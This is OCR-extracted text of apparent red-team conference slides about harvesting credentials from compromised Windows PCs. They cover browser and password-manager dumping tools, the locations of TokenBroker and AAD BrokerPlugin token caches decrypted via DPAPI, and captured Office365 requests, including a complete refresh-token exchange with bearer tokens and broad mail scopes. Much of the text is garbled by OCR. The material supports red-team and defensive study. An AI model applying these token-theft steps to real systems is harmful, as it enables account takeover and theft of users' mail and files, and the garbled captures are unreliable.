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ewhearat WhoAreWe

RedTeamer'bl / Pentester'bl / Researcher'bl
Konst + Nick = ~20 years of infosec skills
Web + Infra + Crypto

We love Burp, Python, IDA, C++, Beer

github.com/mis-team
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At the beginning {sehegoe-vsionachijatos} T

2022

RedTeams —> Attack stage —> Analyze stage
RedTeams / analyze stage — checking information from inside infrastructures
RedTeams / analyze stage — checking information from users, admins PCs
Users/admins PCs

« browsers passwords/cookies (Chrome, Edge, FF, Opera, etc) c-; o

« password managers (KeePass, LastPass, OnePass, etc)

e emails

« docs/pics/etc

bl 4



At the beginning {sehregoe-vsio-rachiatost

Browsers/Passmanager’s passwords

File Edit View Help

G webBrowserPass¥iew
File Edit Yiew Options Help
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Qrigin URL

0O https:/flogin.live.com/flogin.srf
0 https:/flogin.yahoo.com E
Facebook.com H
1
Chrome H
1
Firefox 3.5/4
ERttps: 1 5 i in Internet Explorer 7.0-8.0 Ffdweferf 4234234

The LaZagne Project
* BANG BANG *

2 item(s), 1 Selected

Internet Explorer passwords

Ehttps: vy i in Internet Explorer 7.0-8.0 frwferfer 5564564
St i Internet Explorer 7.0-8.0  gmailuser748314 8996845¢
Username: zapatalyahoo.com

Opera nuhaguyhba 2345671 — Zapata_Uive?
Firefox 3.5/4 hello@testonly.com  bhy6711  SERASEEE TR AV //wuu . facehook.com/

Firefox passwords

HirSoft Freeware. http:/'www.nirsoft.net

tps://accounts.google.com
patalgmail.com
LuchaSigue?

KeeThief

ps://wuu.facebook.com
e .guevaralgmail.com

) ) ) ) sta_siempre?

Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of

the KeePass trigger system.
gger sy ords have been found.

Author: Lee Christensen (@tifkin_), Will Schroeder (@harmj0y)
= 9.120000123978

ormation launch it again with the —v option
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At the beginning {sehregoe-vsio-rachiatost

Emails....

... Microsoft Outlook ...

... Ms Outlook + Office365 ...
... Ms Outlook + Office365 + 2fa ...

Emails....

Offline PST parsing ->2.. 4...6..8..Gb
Online EWS -> must have 2fa
In-place PST parse ...

Continuously analyze ...
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Outlook + Office365 = ...

2022
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Request Response
Pretty Raw  Hex  JSON Web Tokens ® 0 = Pretty Raw  Hex Render = \n
1 POST /EWS/Exchange.asmx HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: outlook.office365.com 2 Cache-Control: private
3 Cache-Control: no-cache 3 Content-Type: text/xml; charset=utf-8
4 Pragma: no-cache 4|Server: Microsoft-IIS/10.0
5 Content-Type: text/xml = request-id : 6d744739-724c-ef14- 490b-b68b77246091
6 Authorization: Bearer 6|Alt-Svc: h3=":443",6h3-29="":443"
eyJ0eXA101JKV1QiLCIub25] ZSI 61 nRUcHNtQ2x0S25x SmOwST BHQ3ZCSzJ1 Nk M3c XpFU1 LMR3Qt VGL40Hd 4cmMiLCIhbGel 7 X-CalculatedFETarget: MW2PR16CUOOL.1internal.outlook.com
01JSUzI1N1IsIngldCI 61j J aUXBKM1VwY mpBwWVhZR2FY RUps OGXWMFRPSSI sImtpZCI GIj JaUXBKM1VwYmpBwWVhZR2FYRUps 8| X- BackEndHttpStatus . 200
OGXWMFRPSSJS. eyJhdwQi 01 JodHRwezovL291dGxvb2sub2ZmaWNLMzY 1LmNvbS81LCIpe3Mi 01 JodHRwczovL3NOcyS3aWs 9 Set-Cookie: exchangecookie=da0635ccShblcaf37bel149041babfaddo; expires=Thu, 17-Aug-2023 16:28:52
kb3dzLmS1dC80M] k OMGFLNy 1hM2VhLTQ30Dk tYWR] Ny IkNzE3YTgSNT 1Yz AvI 1wl aWFOI j oxNjYwNzUzMzYwLCIuYmY10]E GMT; path=/; secure; HttpOnly
2N A3NTMzNj AsImV4cCI 6MTY 2MDgONT M30Cw1 YWN] dCI 6MCw1 YWNyI j o1 MSIsImFpbyI 61k PWUUFxLzhUQUFBQUROY VVzbOV 10 X-CalculatedBETarget: MWHPR14MB1134.namprdl4.PROD.OUTLOOK.COM
OYTBLCZtJZGUZthiKZBde RSUnC1TXd2UGZCMFRIa2V4eXBqCURiamMZSWWSkaKMXRSClZldlY1CXprOXxNDFuN1R4VUZ 11 X- BackEndHttpStatus: pio]o]
rcFdNZmhweHpwVDZobStCclFocXhaVDBxN2RIPSI sImFtciI 6wy Jwd2Q1LClyc2E1 LCI tZmEL XSwi Y XBwX2Rpc3BsY XLuYWl | | 12 X-RUM-Validated: 1
1Ij01TWl]cm9zb2Z0IESmZmL jZSIsImFwcGLKI jo1ZDM1OTBLZDY tNT J1MyOOMT AyLWFLZmY tYWFkMj ISMmFLMDF]I1wiYXB 13 x-ms-appld: d3590ed6-52b3-4102-aeff-aad2292ab0lc
waWRhY3I101IwIiwiY25mI jp7InR1 aCTATk14aTN1 R3NI | OsxNG 1 K37071 adl 11 FOR2ANY mNT Y1 IFVNGRZ 7XMSTWN> NWRAT nO 14 Restrict-Access-Confirm: 1

sImRldmljZwlkI joiNmvi NDomelRequest
saWRzI ] pbXSwiZmFtaWxSX25hbwl

yMzEuNj cuMj E1TiwibmFtZSI6Im Pretiy Raw Hex JSON Web Tokens B \» =
1ZjMOZTEyNzAXI1iwicHVpZCI6I ]t —_— . .
JQUFBQUFBUEVQemdBqUFBQUEBQUYL |POST  /map1/nspi/?MailboxId=cle9a28b- f 1e9- 4a6e-baSe- a2a4a6c39d94@kksed4.onmicrosoft.com
uUmvhzFdyaXRLIENhbGVUZGFycy: HTTP/1.1

pdGUUUZhhemvk I EVBUYSBY 2N1c3t
uQWN] ZXNzQXNVe2VyLkFsbCBFV1I
0ZS5T aGFy ZWQgR3J vdXAuUmVhZFc
T2wWskI ElhaquU2VuZC5TaGFyZW(4
eTF11rQNh77VQ7WFidG]vhi11hnF5

2 Host: outlook.office365.com

3 Cache-Control: no-cache

Pragma: no-cache

Content-Type: application/mapi-http

6 Accept: application/mapi-http

7 Authorization: Bearer
eyJ0eXA101JKV1Q1LCIub25)ZSI6I NRUCHNtQ2x0S25x SmOwSTBHQ3ZCSz J1 NkM3c XpFU1 LMR3Qt VGL40Hd4cmM1LCIh
bGc101JSUzI IN1IsIngldCI6I j JaUXBKM1VwY mpBWVhZR2FYRUpsOGXWMFRPSSIsImtpZCI6I jJaUXBKM1VwY mpBwWVhZ
R2FYRUpsOGXWMFRPSSJI 9. ey JhdwQi 01 JodHRwczovL291dGxvb2sub2ZmawNLMzY 1LmNvbS81LCIpc3M1 01 JodHRwczo
vL3NOcyS3awskb3dzLmS1dC80M] k OMGFLNy 1hM2VhLTQ30Dk tYWR] Ny 1IkNzE3YTgSNT I 1Y zAvI 1wl aWFOI j oxNj YwNzU
zMzYwLCJIuYmY10]E2N] ASNTMzNj AsImV4cCI6MTY 2MDgONT M30Cw1 YWN] dCI 6MCw1 YWNyI 01 MSIsImFpbyI6IkPWUUF
xLzhUQUFBQUROY VVzbOVOYTBLc2tJZGU2bFh1KzBTdjRsUnc 1T Xd2UGZCMFRI a2V4e XBqcUR1L amMz SwwSbk SKMXRSc1Z

V. o

Response

Pretty
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Raw Hex

HTTP/1.1 200 OK

Cache-Control: private
Content-Type: application/map
Server: Microsoft-IIS/10.0
request-i1d: ba227a30- 775f - 056
Alt-Svc: h3=":443",h3-29=":44
X-CalculatedBETarget: MwHPR14+
X-BackEndHttpStatus: 200
Set-Cookie: MapiRouting=ULVNC

; path=/mapi/; secure; HttpOng =
Set-Cookie: MapiContext=

MAPI AAAAAOL /96F 1xPC9/87/zP]bE
path=/mapi/nspi; secure; =
Set-Cookie: MapiSequence=0-PL"
Q. l§§37

e

Http/g?f;riw
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JWT —Json Web Tokens

.Basec4Payload.Basec4Signhatute

Encoded Decoded

HEADER:
eyJhbGci0iJSUzITNiIsInR5cCI6IkpXVCJ9.ey
JZdWIi0iIxMjMONTY30DkwIiwibmFtZSI6Ikpva

PAYLOAD:

VERIFY SIGNATURE
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JWT —Json Web Tokens

Baseb4Header.Baseb4Payload.Baseb4Signhatute




JWT - BurpSuite

Linux;

apt install jwt

AN N
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L% echo eyJhbGci0iJIUzIINIiISINR5cCI6IkpXVCI9.eyIzdWIiOiIXMjMONTY30DkwIiwibmFtZSI6IkpvaG4gRGIlIiwia

Header:

{
"alg": "HS256",
"typ": "Jwrt"

}
echo eyJhbGc.... | jwt —show - Shaed:

Burp:

"jat": 1516230027

9422  https://login.microsoftonline.com POST /42940ae7-a3ea-4789-adc7-d717a89...

Request
Pretty Raw Hex

JSON Web Tokens

v

Public Key

JWT
Headers-=-{
Coutypt st JWTY,

- -"nonce" : - "tnpsmCLNKngJopIOGCVBK2b6C7qzESYLGE - T1x8wxrc",
--nalg": -"RS256",
- "x5t": - "2ZQpJ3Upbj AYXYGaXEJl8LVOTOI",

-

Bapp : Json Web tOkenS (JWT4B) --"kid": -"2ZQpJ3Upbj AYXYGaXEJL8LVOTOI"

Payload -=-{
--"aud": -"https://outlook.office365.com/",

--"iat": - 1660753360,
- -"nbf": -1660753360,
--"exp": - 1660845378,
.. Ilacctll “ .0’

Sovacptyonln,

--"1ss":-"https://sts.windows.net/42940ae7- a3ea- 4789- adc7-d717a8952ec0/",

QT4fwpMelf36POk6y) /_adQssw5c

User options JSON Web Tokens | |-

invalid Key |

» Secret cannot be null




JWT —Json Web Tokens

Outlook JWT — RSA256 Sign




Outlook JWT SEF_

2022
Outlook JIWT - OK'! Let find it... DPAPI inside  DPAPI Blob
. First Bytes:
M |CrOSOft Cryptoprovider GUID: —
H Hex: Q F F
.. Windows ... SONE
Base64: 2018
... DPAPI (Data Protection API) ...
Hex: November 15 - 16
Base64: P Pl ) 200974221 - DPAPI inside System Masterkey > 5 O .*"D [ o A
« System (C:) > [llonbsosatenn > user > AppData > Local » Microsoft > TokenBroker > Cache . g Sl
e :
Wma a 3MEHEHNA Tun 3MEp il g . B
| 2e59c4281bbb3c36dbec229e833ac00a2d2... 17.08.2022 19:52 Daif > —
| 4b3668b8253b041065c0cfdb32de3e5c067... 17.08.2022 19:3( : . .
| 5a2a7058cf8d1e56c20ebb19a7c48eb2386...  17.08.2022 19:51 Dai Kb . | [ //
| 5cc1b8137adcabdfe31d8a5b475958f4ab0...  17.08.2022 19:52 Dai 18 Kb . ' J||2




Outlook JWT — .tbres files

{"TBDataStoreObject":{"Header":{"0ObjectType": "TokenResponse", "SchemaVersionMajor":2,"Schem
aVersionMinor":1},"ObjectData":{"SystemDefinedProperties":{"RequestIndex":{"Type":"InlineB
ytes","IsProtected":false,"Value":"FSH21thibI6BJ8A0oSrmH/x10850="}, "Expiration":{"Type":"In
lineBytes","IsProtected”:false, 'Value":"gEFesIqx2AE="} "Status":{"Type":"InlineBytes",b"IsP
rotected":false, "Value": "AAAAAA=="}, "ResponseBytes":{"Type":"InlineBytes", "IsProtected":tr
ue, "Value": "AQAAANCMNd8BFdER]JHOAWE/
Cl+sBAAAATM+15CtWKU2ZSq+I80EFMgAAAAACAAAAAAAQZGAAAAEAACAAAABTV4QzVSngTRVHCK/
aS7xf6NuNmBAgOTTP1z8Njz1aMwAAAAAOGAAAAATAACAAAAAATKM7Yuvv7oRGy8Mqf fbuhwbK/Q6uMoPKwntvXiz8
bAHAADL6QUCcLH5gxhDNuQQY+yvjJhlj+ZibQUrm76MbaYZk0IUHE7PJsEoOviNIgvLlhnhNm3ZZYY0JtvcOxdFng@ph
pStXHzNVFT411lwBa5Rc3/+uV0y2Dq7SwfXHD9gwS6FGMdLDBWEM7EEOThz4YPFos5aAny9hAli+PaB2PONPUP6qQZVD
jkEkp80Q1lJS1nKvyt4zA/9]/MO6KENSN2mkAbYWRIcCokZhI5RyYpArYnS3R3kDowZB1DyIUxhjXFuI5qzV92sCr8i
/h5Hhrxy20Q1E2x9I5uLp4gXAEn+c7vGFaKkg+POf1NerJJr77JF6yH7cHV2drQ+0+ugxv3dA6usBeRnXtfOUOIVFi
0JiasYfALZxkkCiH+LUY06C9GO+NRUbIML2cKypTaqnDw3kj7ymjq6IpZLEoEcTEpxmjxHsjaizLFmRduivtUulx2Y
RerEe9tBPMBIXhqDCPKOwW/HNmxcpD+g7wFIuZEV]j7+MIQ4]j1qD2Vidjairo/
Ij1jsvnrKzr04t7XMt0ZhUqQA8S2XEH7HhxVSOENCzaSZkQ+QDAOeR4G1AkaM4e0qpiX2hd2ruAFo4kw9zcPBUQ/
1k0A5vkBUpMgDxZQPoseDVEd6/xTI11PHhKETDXGVuB253wBvel61HyutFOy7q3rSqow+gtoXyviGI+i65Y8fU+cUB

Outlook JWT - OK ! Let'’s find it...
Microsoft...
.. Windows ...
.. DPAPI (Data Protection API) ...
.. User Context —> DPAPIck3 (filegeneric.py)

«>

[ "%
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Tokenbroker Data store object file




Microsoft JWT — Decode with JWT4B




Microsoft TokenBroker JWTs

Valid

Tenant ID

User SPN

More user/PC info

... Microsoft Outlook ...

.. Ms Teams ...

... Ms OneDrive ...

.. Ms Windows (Microsoft Active Directory) ...
.. Ms Graph -> MS XXX ...

VFF
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Searching AAD

Valid about

Starting to search something...
..Outlook + ProcessMonitor

...aadcore.dll

[c_3r0dntpiQuvqcOill3igll5]
[c_5tgmo206bh8vfla76cdivern]
[c_8ip5hoibfgltcuragd37b8ad]
[c_8mb8eds39rdrmnlovegdgg5v]
[c_ctqmpl92bqceifhvfidsid87)

[c_dfvI2iag0lTtvm5ebr5fpbmi]
[c_g4Timis28fo5k1g5u3oilc3m]
[c_kodenbntgqcOmpmhkkb9sogh]
[c_milecmdi10dtsodgbl5e346dh]
[c_qoab4hl0pgeegkoogaqn9lsi]
[c_qvppgeTas2g0b934odsiqob9]
[c_r7Tqegm25pd88coghscltnkiv]
p_g7m2ag339emk5trOkSuuafhl

\
2
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~\AppData\Local\Packages\Microsoft. AAD.BrokerPlugin_ew5nTh2txyewy\LocalState-

v
e

&



Decrypting AAD .def files I

2022
3082 0951 0609 2a86 4886 f7/0d 0107 03a0

8209 4230 8209 3e02 0102 3182 017a a282
0176 0201 0430 8201 3804 8201 0601 0000

3_1MII1JUQYJKoZIhvcNAQcDoIIIQjCCCTACAQIxggF6001BdgIBBDCCATgEggEGAQAAANCMNdSBFdERHOAWE/ 00d0 8c3d dfel 15d1 118c 7a0@ ceaf c297
C1+5BAAAAKwW] 6k 3mq TECDRBVSVEMivgAAAAACAAAAAAAQZ gAAAAEAACAAAABS uAe I 1dbSeY/ ebdl 0000 002b @97a 9379 aadc 405b 441b
bKLKIKS2MHshKV1Mbme i rBqrxpUe7bgAAAAOZAAAAATAACAAAABE VM rc2BG oy ac RDat d256 d322 bedd 0000 0002 0000 0000 0010
HyYKnzY7UQzMTAAAADwq/y@vKyC+JYw8MUgzue5deouN6KDCeeb8MEMeZ1 4,9) OBJECT IDENTIFIER : envelopedData : '1.2.840.113549.1.7.3"
0Jg2pgvvv3rUSUfmITtIhe+7I11vQhVVkkI3+fAbhodSY/SInjl18bh8XvTPricHCEER CONTEXT SPECIFIC (0)
HwYKKwYBBAGCN@oBCDARMASWDQWF TE9DQUWMBHVz ZX IwCwYJYIZ IAWUDBA SR €) SEQUENCE
tEdUGdmIt9yh30rfMITHUQYIKoZ ThvcNAQcBMBAGCWCGSAF1AwQBL jARBA B (2 )WHHEER=
XgGKMNmes 8jviloV2dOWoYKBnnEwuutoilU1L9Ir7iD7Fi@8IITABCFS5/Ci o
ztXAZtgTvZZVdKezowksOrFZYTd26cQTMT seNOy509SghDBW7Qd7XP QD+
Hokx+w9UDectdJ7IWfzxORD/2ThFNSULupuaNQHICDe4HbQE148aurl6XW o (37
KOYolF2wmANVvEQYvCeHhYI7jtAHAlgfaYSNCl585vaIU118nmNngu1c =] (¢ ,.-;".-;, : '"01000000D0OBCSDDFO115D1118CT7A00C04FC297EBO10000002B097A9379AR4C409B441
T8NOLtX8JFkj8+N4I6jasnFZn/1QZi2zou8nQ28wfrOdFISK2vnscxiFT7 -
SkLxIhMDDWM8YeA+pbSS8UEbCTZ8t1QPOPIvzDS2iywkK9DTar1PctBFpQ: e a1 meomen
Toka'leSOFlSDJdquzF5w4vVRu32w0nDBuqchn7kapVFO/uJ7CWF83Y 322.10) O CT IDEN : : '1.3.6.1.4.1.311.74.1.8" |
pSARYONtXw2IRzKre@NQwD5Nw5jAzO0p9QTpxRc90vadZKpW258XpTeo5F3 3 U
X5noV92JA534gestygfy2Q9B1liHrmivnn5LAQVi5ztGLphCB47MWZXxCxoHY B'”i*“ »15) SEQUENCE
m5J9C8VASUY+0+BC+xF1X77F3epz5Tt+reF8hugseWF55sn7TXr1CLFtMV Sl I ot —
73aDQI5SULhXMmX8Xex5UXoHyPELsBgbsIkYvsftQTz2zqKDUgnykKhZ6FN ;ﬁ H4;4:UT£ ;Rné -
NzPV7A89MS6QKH1EM6ZbzAv+iblgaTuSHWPHCBw6H7FQti9jDSKYDIT2In 5 ®o (353,11) SEQUENCE
faeVXqawKdIeVpcd918H39hHOfFgrryfM5Zc/ € (355,9) OBJECT IDENTIFIER : : '2.16.940.1.101.3.4.1.45"

_j (acc 4“) CTET STRING : '12D49AA0FFE9152FES53D DFD03208DD6D3CE6SECEGE4CCE6859B4475419D989B7DC.

1o

C (2)

: '1.3.6.1.4.1.311.74.1"

: data : 'l.2.8 540.113549.1.7.1"

) (425,9) OBJECT IDENTIFIER : : '2.16.840.1.101.3.4.1.48"

=-%8 (43€,17) SEQUENCE
B (438,12) OCIET STRING : 'lFD767D64DB1AOCT333CIECT'
[ 1) INTEGER : 'lé'
@© (455,1930) CONTEXT SPECIFIC (0) : 'FD780623C3667ACF23BDEA1SDIDD1EA152319E7130BAEBE33A55252FD26BEE20

FTHE R



Microsoft AADBrokerPlugin .def file




Microsoft AADBrokerPlugin .def file

Refresh token — for refreshing access JWT
... std Access-Refresh-Access mechanics

when refreshing

Access JWTs — for MS services
... outlook.office3e5.com

.. api.office.net

... sShredder.osi.office.net

... enrichment.osi.office.net




Microsoft AADBrokerPlugin .def folder/files

c_3r0dntpiOu9vqgcOill3i9ll5 00000003-0000-0000-c000-000000000000
Microsoft Edge

c_5tgmo206bh8vfla76cd5vern 00000003-0000-0000-cO000-000000000000

Microsoft Edge

c_8ip5hoibfgltcurag437b8a4 d7b530a4-7680-4c23-a8bf-c52¢c121d2e87
Microsoft News Feed

c_8mb8eds39r4rmnOoveg4gg5v 268761a2-03f3-40df-8a8b-c3db24145b6b
Microsoft Universal Store

c_ctgmpl92bqgceifhvfidsid87 2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8
Microsoft Bing Search

c_dfvi2iagOltvm5ebr5fpomi 0ec893e0-5785-4de6-99da-4ed124e5296¢
Microsoft Office UWP

c_g4limis28fo5klg5u3oiOc3m 1fec8e78-bce4-4aaf-ablb-5451cc387264
c_ko4enbntggcOmpmhkke9sogh ab9b8c07-8f02-4172-87fa-80105867a763

c_milcmdilOdtsodg6l5e346dh d3590ed6-52b3-4102-aeff-aad2292ab0lc

c_qoab4hlOpgeegkoogaqn9lsi e9c51622-460d-4d3d-952d-966a5b1da34c
Microsoft Edge

20NE

2022

e C V| [system] 52 549 784 K6 uz 62 793 724 K6 ceobogHo

w 4)\AppData\Local\Packages\Microsoft. AAD.BrokerPlugin_cw5n1h2txyewy\LocalState\u_dabnckbc9g8c86cqfigb5tin\*.*

[c_3r0dntpiOuSvqclill3igll3)
[c_5tqmo206bh8vfla7
[c_8ipShoibfgltcu
[c_8mb8eds39rdrmn0
[c_ctgmpl92bqceifhvfidsid87]
[c_dfvI2iag0lTtvm5ebr5fpbmi]
[c_g41imis28fo5k1g5u3oilc3m]
[c_kodenbntgqcOmpmhkk69sogh]
[c_milecmdi10dtsodgbl5e346dh]
[c_qoab4hl0pgeegkoogaqn91si]
[c_qvppge7as2g0b934o4siqobd]
[c_r7qegm25pd88coghscltnkiv]
p_g7m2ag339emkS5trOkSuuafhl

C qvppge7a52g0b934@4$4qob9 6F7E‘OE@Q£@AO -4F8b-98E2-
CF15BD5Fd5E3 Mlcrozure Client = \ %

c_r7gegm25pd88eoqg hs‘gffn Kiv OOOOOOO3—OQOO—OOOQ—GObO—
000000000000 Micresoft Edge



Refresh Token Auth

 Refresh_token
« Client_id (application Id)
 Resource (same as access token)

« Claims
..{"access_token"{"xms_cc":{"values":["CP1"]}}}

.. If no claims — access JWT valid for ~1 hour

Pretty Raw Hex

1
2
3

4
=
6
7
8
S
10
11
12

13
14
15
16
17,
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posT /common/oauth2/token HTTP/1.1

Host: login.microsoftonline.com

CouKle: Tpc=
AnSKmPUXMWpCr19xcAqWSOFcgPZp AQAAAKMp ] S00AAAAZT N LUAEAAAARKI _aDgAAAKTTY aEBAAAAXY1P2g4AAAA
Accept: */*

Content-Type: application/x-www-form-urlencoded

Client-Request-Id: 0c2733f4-cbca-4b37-a2bo-66bdoelfagls

Return-Client-Request-Id: true

Th- Aad-Device-Family: 3

Tb-Aad-Env-Id: 10.0.19041.1200

Accept-Language: en-US,en;q=0.7,ru;q=0.3

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewWebKit/537.36 (KHTML, like Gecko)
Chrome/70.0.3538.102 Safari/537.36 Edge/18.19043

Content-Length: 1818

Cache-Control: no-cache

Connection: close

grant_type=refresh_token&refresh_token=

0. AXOASWqUQuQ]1Uetx9cXqlUuwNY OWdOzUgJBrv - qO1kqsBycAOc . AQABAAEAAAD- - DLA3VO7Qrddglg7wWevrAgDs_w
QASPS1WLfuQOSIKFEL f UUgOXY j SRUNSD18qnyEQy_Vv- rC2sedTi - qjMzxt_AJhbINsVkDrXw7zjbTRARM- PbIXPyL8e
Km-Nb7y_7k1ialvSHy6CwP2s6A_hAIniJJlQrj60glagn31GULbXUqyGEUVCErd3f t6HUGOPYStt1gbfKOjGhbFo8asSmhg
xxfUE1KauhevhtLbnOWShUS1NORKc8k rXDo8LCOT 1Y RnGeQlGQ266xZHNSM3QmAGmpBaKHLz1 Y VQMWLchmaf t6D1YaD
BOR4I 073GWTkdKva3F3xfuZojoMhBZKz5531 0g8mp 1xp1Ys4VHzmbRtOAydbek ESgLguBNUZCNUOI 701 FT 79q2ZwBhEST
ZTf1C2yDa6tb84PobHcDf xUD- cP1aSEqADAD_xZE91G_08] 1Qr20Rrm- y6dXzrQWuDM6t57p - tc02C2nDQokwk - RgUOt
_v29]YIFppdFllotPcecylIJ6TLT MctZPFx8fmPvjfylJtEEbImdizIRhUYDtmz1]jdMYM2bejayF1J1fNsz7w-goTso
UsLk ACOtKQj MMt ] np3GSZ7N63uZTwKNpSARr 1] pj g921HLOmT HMWSEHK Xc j FsmO2azc4YU_eh_SNdn1NToX37G- Pygdw
0q- SHesvJEdWO1QOUDO10t9Vb082QI eNhnAWSY BT 4v Ln1Bwi x ] 2HuHgFscf vbDUddShqx_11UztJIgMj LxVwMuGE7dPs1
wJTSLIyeOLTEHf SFaPZ38wMVQP- jeq2xy47v3wW] 7BsbMOTf mdj SDZS3T oDk VxnBVEM2whp Jp1uDG- F- FY JOX4VeRLWmX
glsJ13xEKKdmMvg91lrMu6VP_mbzOKAZVKZLOJAStcOUf FBSTWSYV2UEUIsIQA1u219LF8BbZPtfk - q_mwBA-z- 1ESYNF
ugikzKr3-D1vVMgaBWngnNfwcZBX-5M_trXoDzpcw&redirect_uri=

ms - appx - web%3a%2f%2fMicrosoft. AAD.BrokerPlugin%2f d3590edA-52h2. 4102 aaff. aad22a2ahnlck
client_id:=d3590ed6-52b3- 4102- aef f - aad2292ab01céresource=https%3a%2f%2foutlook.office.comé
thidv2=

AAEGAQCk 4a8wf 9pI JUTcTZNEr 10FmET v j cqis2b0f%2bFYWT ASsLWPe tDpEaxY 1z90HBT s4MOvEeWH] Hr 3ZLk%2f ngAZ22%
2bGPE]hZGj CNC936%2f Q55qI I LH1 t ] RNAD32vwS02bK xI VDT A%2f BWrdLrhoHT LQOAgLLAIHY b VP82 0T BPCUOCCMDes2
baZOWmeNwaGOwChhSSU%Zb4JdWhQiSNuSw3jCWO1BRMCgnOSEXHOnXn3wZB%2btbGOCWBQprPDYJiNJPZOqSED2qu
VH8rOFGKLGT SroNLeMo1Vk Aoca3ByCeYD7rPsnRqnfhkTrzHByBdddqShd 2Epkz1zD0qShX3tGOtD80OVCqteKsYwW] VAW
FAACRsRd%3d&scone=oneni d&client_info=18&windows_ani_version=2.0&claims=
%7b%22access_token%s22%3a%7b%22xms_cc%22%3a%7b%22va lues%s22%3a%5h%22CP1%22%5d%7d%7d%7d& nsaf ed=

“ ; ~ @2~ =)

§\“Nk ¢:nf?f~u”




Refresh Token Auth - Response N

Scope
Access JWT

New Refresh

.. expires in 1209599

— 14 days

8
S
q
|

FF

Connection: close
Content-Length: 6528

{"token_type":"Bearer","scope":
"Branford-Internal.Readwrite Calendars.Readwrite Calendars.Readwrite.Shared Contacts.Readwrite C
ontacts.Readwrite.Shared EAS.AccessAsUser.All EopPolicySync.AccessAsUser.All EopPsorWs.AccessAsU
ser.All BEwS.AccessAsUser.All Files.Readwrite.All Files.Readwrite.Shared Group.Readwrite.All Mail
.Readwrite Mail.Readwrite.Shared Mail.Send Mail.Send.Shared MailboxSettings.ReadwWrite MapiHttp.A
ccessAsUser.All MessageReaction-Internal.Update Notes.Read Notes.ReadWrite Oab.AccessAsUser.All
OutlookService.AccessAsUser.All OWA.AccessAsUser.All People.Read People.ReadwWrite Place.Read.All
Privilege.ELT Signals.Read Signals.ReadwWrite SubstrateSearch-Internal.Readwrite Tags.Readwrite
Tasks.ReadwWrite Tasks.Readwrite.Shared Todo-Internal.Readwrite User.ReadBasic User.ReadBasic.All
user_impersonation User-Internal.ReadwWrite","expires_in":"94056","ext_expires_in":"353256",
"explres_on":"1660856154","not_before":"1660761798", "resource":"https://outlook.office.com",
"pwd_url":"https://portal.mcrosoftonline.com/ChangePassword.aspx","access_token":
"eyJOeXA101JIKV1QiLCIub25] ZSIBINVQY zVJI Z3dmwk Fk QzFf ak pzZC1FRHBp SDdp OULWNMST U3ZZUEO3MVgwRT Qi LCIhbGe
101JSUzI INiIsIngldCI6I jJaUXBKMIVwYmpBWVhZR2FY RUpsOGXWMFRPSSI sImtpZCI6I j JaUXBKMI VwY mpBWVhZR2FY RUR
SOGXWMFRPSSJ9. eyJhdwQi 01 JodHRweczovL 291dGxvb2sub2ZmaWNLLmNvbSIsImlzcyI6ImhOdHBz01 8ve3RzLndpbmRvd=

MumeOLZQyOTQwYWU3LWEZZWEtNDC4OSIhZGM3LWQ3MTdhODkleVjMC8iLCJpYXQinE2NjA3NjE3OTgSIm5iZi16MTY2ME
LA2MT AN ZY T 1 AavRa ViaNDL IDMTLHIAE C1ThVORNAT 1 Awl C1hv 2T T vT'| A 1 Vil v T 1an ﬁ\l?DﬁYCuﬁCDDﬁl BT . lv‘ﬁl:m\(nrn\l
'T04f g858QJ5WCOq3n4NghseHf SIEBKNGY 4c_KOTvepSPVT LKRvMHbg - UbFS3LHINE7k rnbRbY 1Dd1dJ 2] 8NxwPRFKDGCA- V
eVht 3tJoDdX30UyNLrkb4nSTXS6ns65d ] Fw_rmYwOBVQ" , " retresh_token" :
"0.AXOASwqUQuQq]1Uetx9cXqlUuwNY OWdOzUgJBrv - q01kgsBycAOc . AQABAAEAAAD- - DLA3VO7Qrddglg7wevrAgDs_wQAS
P8HDtzZ40dMoX0SDK 3YNNzUs J3CHLsLWyCOqvL 4bZmLQUESB] KWHJ f ] gkk 5SKwJ CwO7v00aF6f 3HQcMumug_V81Dw8S14- 3qw
6LnYn2o0X1in- eKHaNZtINysoqtpj7- 6061ulLgVwWL0d2ISusPAvOzwwipbYOYF3a_mlIciClu7rPflgleul tolZXxIQKy-Og
YHM+RQ1Mhaevnqmnnchhn1ppA:hD+1rrqvnvuumnjvcanprl:nhnMpo17pmw77:wmnpvhcyrrvdqnqdmev“ernlnu:hie
qRETCcOABT10- 2csBnSQqdec ] yDE7KTWwwx8VM1PaN_MMsygI 4QbK3URbGUGEOmMcULtvTenftZ7Th- C8UCLIYAgbAG- AQEX-c
FLS_vol-Ciyu4s84anfPTzpWs- EveMOPSNCUE2_z0SnA1lqdgH_Sdo0SUnCU7R4syhDAe811ceVwZM10k vk tmuwWC15f 7zxGQGAZ
FB2dThs- b2tXmD39Sn1EISXgvHXepU3] YPB- 8aggF7Hygl1ZKTfnShtwTXL1kOr9g6_rx_qqqEO6CP - SNASIcASRPT A3MSng
xJc1oNZOF6- Ik 1T JNOAIUVoKBvqAodV1al42mi vOAXvUMof jaSFcludXTY 7BaozePfDZPAtavy6Ff - JGnvfMaP- 6Wodx 1WOh
QZzckpSAmKVe7rfzhrp9I lwcVwB31GSd LX2wWApwPsgmZgh74g122gL 4spSWNOQx1 rDI1 G- uON4mdPQVELCZroMthOpel 3Fs4
HIZviUlveX1lycBmbYVKHqYmS] 0ZFIVSrOopZHM8yXn6cTTp - hS2YHhwNRLyon8wS70 HwjPYGwsT 1rRLcETz7npQYZks8B5Q)
4f f mdgkmPJ 4cg7B=Wa2r 2k Z-Atod tpNDel TR 4mPNCHEEZMECTpapKGSrU2Q] aSIDRISFMA_2SfNr7ULjNT j QWqOrXj Ae4XB
2CLVmYWzVwFFYs", "refresh_token_expires_in":1209599, "foci":"1","1d_token":
"eyJ0eXA101JKV1IQILCIABGEI UL JUBZSTIRU. ey JhawQi Ul JKMZUSMGVKNL O1MmI zLT QxMDI tYWVmZ1 1hYWQyM] k yYWI wMwWM

A i [y T Y i G [l [T s A 1 A~ Alch had= mel dronms L amcr] v ks rasanl svians v b aeravT acar }ilslqnu'r; e
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Refresh Token Auth — roadrecon tool JEF

ONE
dirkjanm / ROADtools ' Pubic 2022

b Code (©) Issues 12 {9 Pullrequests 4 ® Actions [ Projects [0 wiki @ Security |~ Insights

Getting started with ROADrecon

Dirk-jan edited this page on Oct 29, 2020 - 1 revision

